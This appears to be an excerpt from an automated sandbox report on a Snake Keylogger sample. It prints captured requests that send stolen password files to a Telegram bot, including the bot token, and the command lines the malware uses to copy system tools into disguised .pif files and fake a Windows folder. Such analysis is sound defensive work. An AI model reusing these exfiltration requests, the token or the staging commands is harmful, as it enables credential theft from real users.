2024-11-26 07:26:43 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 32 32 30 61 32 35 33 38 37 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd1220a2538758Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:44 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:43 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:44 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389046,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606003,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	50057	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:45 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd12a00e36c4c0 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:45 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 32 61 30 30 65 33 36 63 34 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd12a00e36c4c0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:45 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:46 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389050,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606005,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	50055	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:45 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd12a75cd9b643 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:45 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 32 61 37 35 63 64 39 62 36 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd12a75cd9b643Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:45 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:46 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389051,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606005,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	50056	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:45 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd155c28fa062f Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:45 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 35 35 63 32 38 66 61 30 36 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd155c28fa062fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:45 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:46 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 30 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389053,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606005,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	50070	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:50 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0dcf78ef9f83 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:50 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 64 63 66 37 38 65 66 39 66 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0dcf78ef9f83Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:51 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:51 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 36 30 31 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389056,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732606011,"documen

Target ID:	0
Start time:	02:24:39
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\EPTMAcgvNZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\EPTMAcgvNZ.exe"
Imagebase:	0x400000
File size:	1'297'920 bytes
MD5 hash:	DC614075998696B44ADA8A2EED23FC03
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:24:48
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\yihfsboC.cmd" "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:24:48
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:24:48
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Imagebase:	0x9c0000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:24:49
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\EPTMAcgvNZ.exe /d C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF /o
Imagebase:	0x9c0000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:24:49
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:24:49
Start date:	26/11/2024
Path:	C:\Users\Public\Libraries\yihfsboC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\yihfsboC.pif
Imagebase:	0x400000
File size:	68'096 bytes
MD5 hash:	C116D3604CEAFE7057D77FF27552C215
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2536490412.00000000260EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	02:24:49
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Imagebase:	0x9c0000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:24:54
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
Imagebase:	0x390000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:24:56
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
Imagebase:	0x390000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:24:57
Start date:	26/11/2024
Path:	C:\Users\Public\alpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Imagebase:	0x390000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:24:57
Start date:	26/11/2024
Path:	C:\Users\Public\xpha.pif
Wow64 process (32bit):	true
Commandline:	C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Imagebase:	0x380000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
